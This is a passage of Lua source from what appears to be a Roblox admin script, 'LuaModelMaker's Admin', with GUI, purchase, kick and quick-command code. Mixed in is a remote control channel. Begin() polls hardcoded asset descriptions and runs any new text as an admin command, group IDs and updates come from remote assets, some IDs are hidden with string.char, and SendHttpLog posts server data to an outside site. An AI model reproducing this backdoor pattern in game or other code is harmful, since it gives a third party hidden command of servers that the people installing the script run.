  1292. end
  1293.  
  1294. function GetTable(ID)
  1295. return HS:JSONDecode(MPS:GetProductInfo(ID).Description)
  1296. end
  1297.  
  1298. local OderIDs = GetTable(177215518)
  1299. local SoundJSONs = GetTable(197637628)
  1300.  
  1301. function UpdateAdmin()
  1302. local UpdateModel = AdminID
  1303. if UpdateModel == 0 then return end
  1304. local NewAdminModel = game:GetService("InsertService"):LoadAsset(UpdateModel)
  1305. local NewAdmin = NewAdminModel:FindFirstChild("LuaModelMaker's Admin", true)
  1306. if NewAdmin then
  1307. local NewVersion = NewAdmin:FindFirstChild("Version")
  1308. if NewVersion.Value ~= Version.Value then
  1309. if Module then
  1310. Module.Disabled = true
  1311. Module:Destroy()
  1312. end
  1313. local Module = game:GetService("ServerScriptService"):FindFirstChild("LuaModelMaker's Admin Anti-Exploit Module")
  1314. if Module then
  1315. Module.Disabled = true
  1316. Module:Destroy()
  1317. end
  1318. NewAdmin.Disabled = true
  1319. NewAdmin.Parent = Workspace
  1320. if not Settings then
  1321. local NewSettings = NewAdminModel:FindFirstChild("LuaModelMaker's Admin Settings", true)
  1322. if NewSettings then NewSettings.Parent = Workspace end
  1323. end
  1324. wait() NewAdmin.Disabled = false
  1325. RemoveAdmin()
  1326. else
  1327. NewAdminModel:Destroy()
  1328. end
  1329. end
  1330. end
  1331.  
  1332. function SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
  1333. local NumType = tonumber(Type)
  1334.  
  1335. if not Type then
  1336. Type = "UNKNOWN"
  1337. end
  1338.  
  1339. if NumType then
  1340. if NumType < 1 or NumType > 5 then
  1341. Type = "UNKNOWN"
  1342. elseif NumType == 1 then
  1343. Type = "NOTIFICATION"
  1344. elseif NumType == 2 then
  1345. Type = "INFORMATION"
  1346. elseif NumType == 3 then
  1347. Type = "WARNING"
  1348. elseif NumType == 4 or Type == true then
  1349. Type = "ERROR"
  1350. elseif NumType == 5 then
  1351. Type = "FATAL"
  1352. end
  1353. end
  1354.  
  1355. local Res = "RED Could not get response"
  1356. local function SendData()
  1357. Res = HS:PostAsync("http://classy-studios.com/Login/SendUserData.php?Data="..HS:UrlEncode("{PLACE: "..string.sub(PlaceName,1,25).." | PORT: "..NS.Port.."}: "..Data).."&DataType="..HS:UrlEncode(string.upper(Type)), "Username="..HS:UrlEncode(LinkedAccount).."&Key="..HS:UrlEncode(DataKey).."&Type=Logs", 2)
  1358. end
  1359. if Stopypcall == true then SendData() else ypcall(SendData) end
  1360.  
  1361. if OutputSpeaker and OutputSpeaker ~= "print" then
  1362. SendMessage(OutputSpeaker, "Http Log Response", Res, 7)
  1363. elseif OutputSpeaker == "print" then
  1364. print(Res)
  1365. end
  1366. end
  1367.  
  1368. function DownloadUserdata(PrintResponse, Stopypcall)
  1369. local Res = "[]"
  1370. local function GetData()
  1371. Res = HS:PostAsync("http://classy-studios.com/Login/ReturnUserData.php", "Username="..HS:UrlEncode(LinkedAccount).."&DataKey="..HS:UrlEncode(DataKey), 2)
  1372. end
  1373. if Stopypcall == true then GetData() else ypcall(GetData) end
  1374. if PrintResponse then
  1375. print(Res)
  1376. end
  1377. local function DecodeData() Res = HS:JSONDecode(Res) end
  1378. if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
  1379. if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
  1380. return Res
  1381. end
  1382.  
  1383. function ReverseTable(Table)
  1384. if type(Table) ~= "table" then return Table end
  1385. local NewTable = {}
  1386. for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
  1387. return NewTable
  1388. end
  1389.  
  1390. function SelectionGui(Player, TitleText, List, LogInput)
  1391. if type(TitleText) == "table" then List = TitleText TitleText = "" end
  1392. if not Player.PlayerGui then return end
  1393.  
  1394. local Selected,Done = {},false
  1395.  
  1396. local SG = Player.PlayerGui:FindFirstChild("LMM".."A Selection") if SG then SG:Destroy() end
  1397. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "L".."MM".."A Selection"
  1398. local Drag = Instance.new("Frame", SG) Drag.Name = "Drag" Drag.Position = UDim2.new(0.25,25,0,5) Drag.Size = UDim2.new(0.5,-25,0.15,0) Drag.BackgroundColor3 = Color3.new(1,1,1) Drag.BackgroundTransparency = 1 Drag.ZIndex = 3 Drag.Draggable = true Drag.Active = true
  1399. local Main = Instance.new("Frame", Drag) Main.Name = "Main" Main.Position = UDim2.new(0,-25,0,0) Main.Size = UDim2.new(1,0,6.5,0) Main.BackgroundTransparency = 0.9 Main.BackgroundColor3 = Color3.new(1,1,1)
  1400. local Title = Instance.new("TextLabel", Main) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,-30) Title.BackgroundColor3 = Color3.new(1, 1, 1) Title.BackgroundTransparency = 1 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size24" Title.TextWrapped = true Title.TextColor3 = Color3.new(1, 1, 1)
  1401. local Scroll = Instance.new("ScrollingFrame", Main) Scroll.Name = "Scroll" Scroll.Position = UDim2.new(0,10,0.2,-20) Scroll.Size = UDim2.new(1,-20,0.8,-20) Scroll.BackgroundColor3 = Color3.new(0,0,0) Scroll.BackgroundTransparency = 0.5 Scroll.CanvasSize = UDim2.new(0,0,0,0) Scroll.BottomImage = "http://www.roblox.com/asset/?id=36527089" Scroll.MidImage = "http://www.roblox.com/asset/?id=36527089" Scroll.TopImage = "http://www.roblox.com/asset/?id=36527089"
  1402. local Submit = Instance.new("TextButton", Main) Submit.Name = "Submit" Submit.Position = UDim2.new(1,-90,1,-36) Submit.Size = UDim2.new(0,80,0,35) Submit.BackgroundColor3 = Color3.new(1,1,1) Submit.BackgroundTransparency = 0.7 Submit.Text = "Submit" Submit.Font = "ArialBold" Submit.FontSize = "Size14" Submit.TextStrokeTransparency = 0 Submit.TextStrokeColor3 = Color3.new(0,0,0) Submit.TextColor3 = Color3.new(1,1,1)
  1403. local Cancel = Instance.new("TextButton", Main) Cancel.Name = "Cancel" Cancel.Position = UDim2.new(0,10,1,-36) Cancel.Size = UDim2.new(0,80,0,35) Cancel.BackgroundColor3 = Color3.new(1,1,1) Cancel.BackgroundTransparency = 0.7 Cancel.Text = "Cancel" Cancel.Font = "ArialBold" Cancel.FontSize = "Size14" Cancel.TextStrokeTransparency = 0 Cancel.TextStrokeColor3 = Color3.new(1,0,0) Cancel.TextColor3 = Color3.new(1,1,1)
  1404.  
  1405. Submit.MouseButton1Click:connect(function() SG:Destroy() if LogInput == true then if #Selected >= 1 then Log(Player, "[Selection Input: "..table.concat(Selected, ", ").."]") end end Done = true end)
  1406. Cancel.MouseButton1Click:connect(function() Selected = {} SG:Destroy() Done = true end)
  1407.  
  1408. local NumPos = 0
  1409.  
  1410. for Num,Data in pairs(List) do
  1411. local String,ImageID = nil,"nil"
  1412. if type(Data) == "table" then
  1413. String = tostring(Data[1])
  1414. ImageID = Data[2]
  1415. else String = tostring(Data)
  1416. end
  1417. if type(ImageID) == "number" then ImageID = "http://www.roblox.com/asset/?id="..ImageID else ImageID = tostring(ImageID) end
  1418. if ImageID == "nil" then ImageID = "" end
  1419. if String then
  1420. local Font = "Arial"
  1421. if string.sub(string.lower(String),1,6) == "bold: " then
  1422. Font = "ArialBold"
  1423. String = string.sub(String,7)
  1424. end
  1425. local Content = Instance.new("TextButton", Scroll) Content.AutoButtonColor = false Content.Name = Num Content.Position = UDim2.new(0,75,0,NumPos) Content.Size = UDim2.new(1,0,0,75) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 1 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = Color3.new(1,1,1) Content.TextWrapped = true Content.Text = String
  1426. local ContentImage = Instance.new("ImageButton", Scroll) ContentImage.Name = "ContentImage" ContentImage.AutoButtonColor = false ContentImage.Size = UDim2.new(0,75,0,75) ContentImage.Position = UDim2.new(0,0,0,NumPos) ContentImage.BackgroundColor3 = Color3.new(1,1,1) ContentImage.BackgroundTransparency = 1 ContentImage.Image = ImageID
  1427.  
  1428. local IsSelected = false
  1429.  
  1430. local function MouseIn() if IsSelected == false then Content.BackgroundTransparency = 0.9 ContentImage.BackgroundTransparency = 0.9 end end
  1431. local function MouseOut() if IsSelected == false then Content.BackgroundTransparency = 1 ContentImage.BackgroundTransparency = 1 end end
  1432. local function MouseClick()
  1433. if IsSelected == true then
  1434. IsSelected = false
  1435. for Num,Str in pairs(Selected) do
  1436. if Str == String then table.remove(Selected, Num) break end
  1437. end
  1438. Content.BackgroundTransparency = 0.9 ContentImage.BackgroundTransparency = 0.9
  1439. else
  1440. IsSelected = true
  1441. table.insert(Selected, String)
  1442. Content.BackgroundTransparency = 0.5 ContentImage.BackgroundTransparency = 0.5
  1443. end
  1444. end
  1445.  
  1446. Content.MouseEnter:connect(MouseIn)
  1447. Content.MouseLeave:connect(MouseOut)
  1448. Content.MouseButton1Click:connect(MouseClick)
  1449.  
  1450. ContentImage.MouseEnter:connect(MouseIn)
  1451. ContentImage.MouseLeave:connect(MouseOut)
  1452. ContentImage.MouseButton1Click:connect(MouseClick)
  1453.  
  1454. NumPos = NumPos + 75
  1455. end
  1456. end
  1457. Scroll.CanvasSize = UDim2.new(0,0,0,NumPos)
  1458.  
  1459. repeat wait(0.1) until Done == true
  1460. return Selected
  1461. end
  1462.  
  1463. function AssetTypeToString(AssetType)
  1464. if AssetType == 1 then return "Image"
  1465. elseif AssetType == 2 then return "T-Shirt"
  1466. elseif AssetType == 3 then return "Audio"
  1467. elseif AssetType == 4 then return "Mesh"
  1468. elseif AssetType == 5 then return "Lua"
  1469. elseif AssetType == 6 then return "HTML"
  1470. elseif AssetType == 7 then return "Text"
  1471. elseif AssetType == 8 then return "Hat"
  1472. elseif AssetType == 9 then return "Place"
  1473. elseif AssetType == 10 then return "Model"
  1474. elseif AssetType == 11 then return "Shirt"
  1475. elseif AssetType == 12 then return "Pants"
  1476. elseif AssetType == 13 then return "Decal"
  1477. elseif AssetType == 16 then return "Avatar"
  1478. elseif AssetType == 17 then return "Head"
  1479. elseif AssetType == 18 then return "Face"
  1480. elseif AssetType == 19 then return "Gear"
  1481. elseif AssetType == 21 then return "Badge"
  1482. elseif AssetType == 22 then return "Group Emblem"
  1483. elseif AssetType == 24 then return "Animation"
  1484. elseif AssetType == 25 then return "Arms"
  1485. elseif AssetType == 26 then return "Legs"
  1486. elseif AssetType == 27 then return "Torso"
  1487. elseif AssetType == 28 then return "Right Arm"
  1488. elseif AssetType == 29 then return "Left Arm"
  1489. elseif AssetType == 30 then return "Left Leg"
  1490. elseif AssetType == 31 then return "Right Leg"
  1491. elseif AssetType == 32 then return "Package"
  1492. elseif AssetType == 33 then return "YouTube Video"
  1493. elseif AssetType == 34 then return "Game Pass"
  1494. elseif AssetType == 38 then return "Plugin"
  1495. elseif AssetType == 0 then return "Product"
  1496. end
  1497. return "Content Invalid"
  1498. end
  1499.  
  1500. function PromptPurchase(Player, Item, Requester, TeleportAction) coroutine.wrap(function()
  1501. if Player.PlayerGui ~= nil then
  1502. local Valid = ypcall(function() return MPS:GetProductInfo(Item) end)
  1503. if Valid == true then
  1504. if TeleportAction then
  1505. if MPS:GetProductInfo(Item).AssetTypeId ~= 9 then
  1506. Valid = false
  1507. end
  1508. end
  1509. end
  1510. if Valid == true then
  1511. local ItemInfo = MPS:GetProductInfo(Item)
  1512. if ItemInfo.AssetTypeId ~= 5 then
  1513. local CanBuy = true
  1514. local Created = ItemInfo.Created Created = string.gsub(Created, "-", "/") local Stop = string.find(Created, "T") if Stop then Created = string.sub(Created, 1, Stop-1) end
  1515. local Updated = ItemInfo.Updated Updated = string.gsub(Updated, "-", "/") local Stop = string.find(Updated, "T") if Stop then Updated = string.sub(Updated, 1, Stop-1) end
  1516. local SG = Player.PlayerGui:FindFirstChild("LMMA Product Gui") if SG then SG:Destroy() end
  1517. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMMA Product Gui"
  1518. local Frame = Instance.new("Frame", SG) Frame.Name = "Main Frame" Frame.Size = UDim2.new(0.5,0,0.7,0) Frame.Position = UDim2.new(0.25,0,0.15,0) Frame.BackgroundColor3 = Color3.new(1,1,1)
  1519. local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.BackgroundColor3 = Color3.new(0,1,0) Buy.Position = UDim2.new(0.5,0,0.35,0) Buy.Size = UDim2.new(0.5,0,0.1,0) Buy.Font = "Arial" Buy.FontSize = "Size36" Buy.Text = "Buy" Buy.BorderSizePixel = 0
  1520. local PImg = Instance.new("ImageLabel", Frame) PImg.Name = "Product Image" PImg.BackgroundTransparency = 1 PImg.Size = UDim2.new(0.5,0,0.5,0) PImg.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..Item
  1521. local UImg = Instance.new("ImageLabel", Frame) UImg.Name = "User Image" UImg.Size = UDim2.new(0.15,0,0.2,0) UImg.Position = UDim2.new(0.5,0,0.1,0) UImg.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..ItemInfo.Creator.Name
  1522. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(0.5,0,0.1,0) Title.Position = UDim2.new(0.5,0,0,0) Title.Font = "ArialBold" Title.BackgroundTransparency = 1 Title.FontSize = "Size14" Title.Text = ItemInfo.Name Title.TextWrapped = true
  1523. local Des = Title:Clone() Des.Parent = Frame Des.Name = "Description" Des.Size = UDim2.new(1,0,0.5,0) Des.Position = UDim2.new(0,0,0.5,0) Des.Font = "Arial" Des.TextXAlignment = "Left" Des.TextYAlignment = "Top" Des.Text = "[ No Description ]" ypcall(function() Des.Text = ItemInfo.Description end)
  1524. local X = Instance.new("TextButton", Frame) X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Position = UDim2.new(1,-25,0,5) X.ZIndex = 10 X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,1,1) X.MouseButton1Click:connect(function() CanBuy = false if SG then SG:Destroy() end end)
  1525. local Info = Title:Clone() Info.Parent = Frame Info.Name = "Info" Info.Size = UDim2.new(0.35,0,0.25,0) Info.Position = UDim2.new(0.65,0,0.1,0) Info.TextXAlignment = "Left" Info.Font = "Arial" Info.Text = [[ROBLOX ]]..AssetTypeToString(ItemInfo.AssetTypeId)..[[
  1526. Creator: ]]..ItemInfo.Creator.Name..[[
  1527. Created: ]]..Created..[[
  1528. Updated: ]]..Updated..[[
  1529. Sold: ]]..ItemInfo.Sales..[[
  1530. Robux: ]]..string.gsub(ItemInfo.PriceInRobux, "null", "Cannot use this currency")..[[
  1531. Tix: ]]..string.gsub(ItemInfo.PriceInTickets, "null", "Cannot use this currency")
  1532. if ItemInfo.IsForSale == false and ItemInfo.IsPublicDomain == false then CanBuy = false Buy.BackgroundColor3 = Color3.new(1,0,0) Buy.Text = "Not For Sale" end
  1533. if ItemInfo.IsPublicDomain == true then Buy.BackgroundColor3 = Color3.new(1,0.5,0.5) Buy.Text = "FREE!" end
  1534. if MPS:PlayerOwnsAsset(Player, Item) then CanBuy = false Buy.BackgroundColor3 = Color3.new(1,0,0) Buy.Text = "You Own This" end
  1535. if Item == VIPAdminID then Buy.Text = Buy.Text.."(Admin VIP)" end
  1536. if Item == VIPMemberID then Buy.Text = Buy.Text.."(Member VIP)" end
  1537. if ItemInfo.AssetTypeId == 9 then
  1538. Buy.Text = "Teleport" Buy.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
  1539. end
  1540. if Requester then
  1541. Des.Text = Requester.Name.." has shown you this item\n\n"..Des.Text
  1542. end
  1543. Buy.MouseButton1Click:connect(function()
  1544. if CanBuy == true then
  1545. MPS:PromptPurchase(Player, Item)
  1546. elseif ItemInfo.AssetTypeId == 9 then
  1547. if TeleportAction then
  1548. TeleportAction()
  1549. else
  1550. TS:Teleport(Item, Player)
  1551. end
  1552. else
  1553. SG:Destroy()
  1554. end
  1555. end)
  1556. end
  1557. end
  1558. end
  1559. end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
  1560. local OldVer = MPS:GetProductInfo(LinkedID).Updated
  1561. while wait(5) do
  1562. local Purchase = MPS:GetProductInfo(LinkedID)
  1563. if OldVer ~= Purchase.Updated then
  1564. OldVer = Purchase.Updated
  1565. local Gather = Purchase.Description
  1566. if Prefix == "" or string.sub(Gather,1,#Prefix) == Prefix then
  1567. ypcall(function() Chatted(Gather, nil) end)
  1568. else
  1569. ypcall(function() Chatted(Prefix..Gather, nil) end)
  1570. end
  1571. end
  1572. end end)()
  1573. end end)() end
  1574.  
  1575. function GetTime()
  1576. local Hour = math.floor((tick()%86400)/60/60) local Min = math.floor(((tick()%86400)/60/60-Hour)*60)
  1577. if Min < 10 then Min = "0"..Min end
  1578. return Hour..":"..Min
  1579. end
  1580.  
  1581. function AdminHouseGui(Player)
  1582. if not Player.PlayerGui then return end
  1583. local SG = Player.PlayerGui:FindFirstChild("Admin House") if SG then SG:Destroy() end
  1584. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "Admin House"
  1585. local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0.3,-50,0.3,-125) Main.Size = UDim2.new(0.4,100,0.4,150) Main.BackgroundColor3 = Color3.new(1,1,1) Main.BackgroundTransparency = 0.9
  1586. local Text = Instance.new("TextLabel", Main) Text.Name = "Text" Text.BackgroundTransparency = 1 Text.Size = UDim2.new(1,0,1,-20) Text.Position = UDim2.new(0,0,0,20) Text.Font = "ArialBold" Text.FontSize = "Size24" Text.Text = "Select the type of Admin House you would like to go to" Text.TextColor3 = Color3.new(1,1,1) Text.TextWrapped = true Text.TextYAlignment = "Top"
  1587. local NBC = Instance.new("TextButton", Main) NBC.Size = UDim2.new(0,100,0,50) NBC.Name = "NBC" NBC.Font = "Legacy" NBC.FontSize = "Size12" NBC.Position = UDim2.new(0,10,1,-60) NBC.Style = "RobloxButton" NBC.Text = "NBC" NBC.TextColor3 = Color3.new(1,1,1)
  1588. local BC = Instance.new("TextButton", Main) BC.Size = UDim2.new(0,100,0,50) BC.Name = "BC" BC.Font = "Legacy" BC.FontSize = "Size12" BC.Position = UDim2.new(1,-110,1,-60) BC.Style = "RobloxButton" BC.Text = "BC" BC.TextColor3 = Color3.new(1,1,1)
  1589. local X = Instance.new("TextButton", Main) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end)
  1590. if Player.MembershipType == Memberships.NBC then
  1591. BC.Visible = false
  1592. end
  1593. NBC.MouseButton1Click:connect(function()
  1594. TS:Teleport(string.char(49, 52, 53, 55, 54, 57, 51, 52, 55), Player)
  1595. end)
  1596. BC.MouseButton1Click:connect(function()
  1597. TS:Teleport(string.char(49, 52, 54, 48, 55, 48, 52, 50, 48), Player)
  1598. end)
  1599. end
  1600.  
  1601. function SyncSoundList(TellSync)
  1602. if not NilPlayer(TellSync) then
  1603. SendHint(TellSync, "Syncing...", 5)
  1604. end
  1605.  
  1606. SoundList,GlobalSoundList = {},{}
  1607.  
  1608. for _,JSONID in pairs(SoundJSONs) do
  1609. for Name,ID in pairs(GetTable(JSONID)) do
  1610. local FullName = MPS:GetProductInfo(ID).Name
  1611. SoundList[Name] = {ID, FullName}
  1612. GlobalSoundList[Name] = {ID, FullName}
  1613. end
  1614. end
  1615.  
  1616. local LocalSoundList = DataStore:GetAsync("MML Custom Sounds")
  1617.  
  1618. if LocalSoundList then
  1619. if type(LocalSoundList) == "table" then
  1620. if LocalSoundList ~= {} then
  1621. for Name,ID in pairs(LocalSoundList) do
  1622. SoundList[Name] = {ID, MPS:GetProductInfo(ID).Name}
  1623. end
  1624. end
  1625. end
  1626. end
  1627. if not NilPlayer(TellSync) then
  1628. SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
  1629. end
  1630. end
  1631.  
  1632. function InAdminGroup(Speaker)
  1633. local IsIn = false
  1634. for _,Get in pairs(GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
  1635. if Speaker:IsInGroup(Get) then
  1636. IsIn = true
  1637. end
  1638. end
  1639. if IsIn == true then
  1640. return true
  1641. else
  1642. SendMessage(Speaker, "Command Invalid", MPS:GetProductInfo(155733032).Description, 6)
  1643. return false
  1644. end
  1645. end
  1646.  
  1647. function AddCommand(CommandName, CommandExample, Rank, Fun, Abusive, CommandFunction)
  1648. if type(Rank) ~= "string" then Rank = "Player"
  1649. elseif ConvertRank(Rank) == nil then Rank = "Player" end
  1650. table.insert(ManualCommands, {CommandName, Rank, Fun, Abusive, CommandFunction})
  1651. local TableInsert = Commands.NonAdmin
  1652. if Rank == "Owner" then TableInsert = Commands.Owner end
  1653. if Rank == "Admin" then TableInsert = Commands.Admin end
  1654. if Rank == "Member" then TableInsert = Commands.Member end
  1655. table.insert(TableInsert, CommandExample)
  1656. end
  1657.  
  1658. function ListGui(Player, TitleText, List) coroutine.wrap(function()
  1659. if type(TitleText) == "table" then List = TitleText TitleText = "" end
  1660.  
  1661. local SearchVer = 0
  1662.  
  1663. if not Player.PlayerGui then return end
  1664. local SG = Player.PlayerGui:FindFirstChild("LMM ScrollGui") if SG then SG:Destroy() end
  1665. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM ScrollGui"
  1666. local Drag = Instance.new("Frame", SG) Drag.Name = "Drag" Drag.Position = UDim2.new(0.25,25,0.1,0) Drag.Size = UDim2.new(0.5,-25,0.15,0) Drag.BackgroundColor3 = Color3.new(1,1,1) Drag.BackgroundTransparency = 1 Drag.ZIndex = 3 Drag.Draggable = true Drag.Active = true
  1667. local Main = Instance.new("Frame", Drag) Main.Name = "Main" Main.Position = UDim2.new(0,-25,0,0) Main.Size = UDim2.new(1,0,5,0) Main.BackgroundTransparency = 0.9 Main.BackgroundColor3 = Color3.new(1,1,1)
  1668. local Title = Instance.new("TextLabel", Main) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,0) Title.BackgroundColor3 = Color3.new(1, 1, 1) Title.BackgroundTransparency = 1 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size24" Title.TextWrapped = true Title.TextColor3 = Color3.new(1, 1, 1)
  1669. local SerBtn = Instance.new("TextButton", Main) SerBtn.Name = "SerBtn" SerBtn.Style = "RobloxRoundButton" SerBtn.Size = UDim2.new(0,20,0,20) SerBtn.Font = "ArialBold" SerBtn.FontSize = "Size18" SerBtn.Text = "^" SerBtn.TextColor3 = Color3.new(1,1,1) SerBtn.ZIndex = 2
  1670. local X = Instance.new("TextButton", Main) X.Name = "X" X.Style = "RobloxButtonDefault" X.Position = UDim2.new(0,0,0,20) X.Size = UDim2.new(0,20,0,20) X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end)
  1671. local Scroll = Instance.new("ScrollingFrame", Main) Scroll.Name = "Scroll" Scroll.Position = UDim2.new(0,10,0.2,10) Scroll.Size = UDim2.new(1,-20,0.8,-20) Scroll.BackgroundColor3 = Color3.new(0,0,0) Scroll.BackgroundTransparency = 0.5 Scroll.CanvasSize = UDim2.new(0,0,0,0) Scroll.BottomImage = "http://www.roblox.com/asset/?id=36527089" Scroll.MidImage = "http://www.roblox.com/asset/?id=36527089" Scroll.TopImage = "http://www.roblox.com/asset/?id=36527089"
  1672. local SearchFrame = Instance.new("Frame", Drag) SearchFrame.Name = "SearchFrame" SearchFrame.Position = UDim2.new(0,-25,0,-30) SearchFrame.Size = UDim2.new(1,0,0,30) SearchFrame.BackgroundColor3 = Color3.new(1,1,1) SearchFrame.BackgroundTransparency = 0.9 SearchFrame.Visible = false
  1673. local SearchBar = Instance.new("TextBox", SearchFrame) SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = Color3.new(1,1,1) SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = "Arial" SearchBar.FontSize = "Size14" SearchBar.TextColor3 = Color3.new(1,1,1) SearchBar.ClearTextOnFocus = false
  1674.  
  1675. SerBtn.MouseButton1Click:connect(function() if SerBtn.Text == "^" then SearchFrame.Visible = true SerBtn.Text = "v" else SearchFrame.Visible = false SerBtn.Text = "^" end end)
  1676.  
  1677. local ScrollScript = nil
  1678.  
  1679. local function ShowResults(Key)
  1680. SearchVer = SearchVer + 1
  1681. local ThisSearchVer = SearchVer
  1682.  
  1683. Scroll:ClearAllChildren()
  1684.  
  1685. if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end
  1686.  
  1687. local NumPos,Num = -30,1
  1688.  
  1689. for _,String in pairs(List) do
  1690. if ThisSearchVer ~= SearchVer then
  1691. break
  1692. end
  1693. String = tostring(String)
  1694. if String then
  1695. if string.find(string.lower(String), string.lower(Key)) then
  1696. NumPos = NumPos + 30
  1697. Spacer = false
  1698. local Font = "Arial"
  1699. if string.sub(string.lower(String),1,6) == "bold: " then
  1700. Font = "ArialBold"
  1701. String = string.sub(String,7)
  1702. end
  1703. if string.sub(String,1,2) == "--" then
  1704. Spacer = true
  1705. end
  1706. local Content = Instance.new("TextLabel", Scroll) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 1 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = Color3.new(1,1,1) if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String else Content.Text = Num..".) "..String end
  1707. if Spacer == false then Num = Num + 1 end
  1708. end
  1709. end
  1710. end
  1711. local VerticalOffset = NumPos + 30
  1712. Scroll.CanvasSize = UDim2.new(0,0,0,VerticalOffset)
  1713. ScrollScript = ExecuteResource("ScollLeftRight", Main, {["VerticalOffset"] = VerticalOffset})
  1714. end
  1715.  
  1716. ShowResults("")
  1717.  
  1718. SearchBar.Changed:connect(function(Prop)
  1719. if Prop == "Text" then ShowResults(SearchBar.Text) Scroll.CanvasPosition = Vector2.new(0,0) end
  1720. end)
  1721. end)() end
  1722.  
  1723. function ChangeName(Player, NewName)
  1724. if Player.Character ~= nil then if Player.Character.Humanoid ~= nil then
  1725. local FormatName = string.gsub(NewName,"_NAME",Player.Name)
  1726. FormatName = string.gsub(FormatName,"_REVNAME",string.reverse(Player.Name))
  1727. FormatName = string.gsub(FormatName,"_UPNAME",string.upper(Player.Name))
  1728. FormatName = string.gsub(FormatName,"_LOWNAME",string.lower(Player.Name))
  1729.  
  1730. local Head = nil
  1731. pcall(function() Head = Player.Character.Label:GetChildren()[1].Head end)
  1732. if not Head then Head = Player.Character.Head end
  1733. local HeadClone = Head:Clone()
  1734. Head.Transparency = 1
  1735. pcall(function() Player.Character.Label:Destroy() Head = Player.Character.Head end)
  1736.  
  1737. pcall(function() Head.face.Transparency = 1 end)
  1738.  
  1739. local Label = Instance.new("Model", Player.Character)
  1740. Label.Name = "Label"
  1741.  
  1742. local Model = Instance.new("Model", Label)
  1743. Model.Name = FormatName
  1744.  
  1745. local HumanoidClone = Instance.new("Humanoid", Model)
  1746. coroutine.wrap(function() while wait() do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
  1747.  
  1748. HeadClone.Parent = Model
  1749. HeadClone.Position = Vector3.new(0,100,0)
  1750. HeadClone.CanCollide = false
  1751.  
  1752. local Weld = Instance.new("Weld", HeadClone)
  1753. Weld.Part0 = HeadClone
  1754. Weld.Part1 = Head
  1755. end end
  1756. end
  1757.  
  1758. function Kick(Player, CustomMessage)
  1759. if not CustomMessage then CustomMessage = "You've been kicked by L".."uaM".."ode".."".."lMaker's Admin. You cannot interact with the server in anyway." end
  1760. coroutine.wrap(function()
  1761. ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage}, Player, [[
  1762. script.Parent = nil
  1763. coroutine.wrap(function()
  1764. for i = 1,10 do
  1765. local Message = Instance.new("Message", Workspace.CurrentCamera) Message.Text = script.Message.Value
  1766. game:GetService("StarterGui"):SetCoreGuiEnabled("All", false)
  1767. wait()
  1768. end
  1769. end)())]])
  1770. wait(1)
  1771. Player:Kick()
  1772. end)()
  1773. end
  1774.  
  1775. function Ration(BaseNumber, Rat, Whole)
  1776. local NewNumber = BaseNumber*(Rat/100)
  1777. if Whole then
  1778. NewNumber = math.floor(NewNumber)
  1779. end
  1780. return NewNumber
  1781. end
  1782.  
  1783. function QuickCommand(Player)
  1784. local PlayerAdmin,PlayerRank = IsAdmin(Player)
  1785. if PlayerAdmin == true then
  1786. QC = {
  1787. {"Kill", 12629158};
  1788. {"Sword", 146948659};
  1789. {"NoClip", 142238488};
  1790. {"Explode", 15603112};
  1791. {"Fart", 11001487};
  1792. {"Ff", 73458348};
  1793. {"Noob", 159381472};
  1794. {"God", 83845644};
  1795. {"Light", 64941856};
  1796. {"Debug", 3016237};
  1797. }
  1798. if PlayerRank == "Admin" or PlayerRank == "Owner" then
  1799. table.insert(QC, {"Kick", 7628159})
  1800. end
  1801. local SelectCommands = SelectionGui(Player, "Select a Quick Command", QC, false)
  1802. if #SelectCommands >= 1 then
  1803. local CompilePlayers = {}
  1804. for _,Ply in pairs(Players:GetPlayers()) do
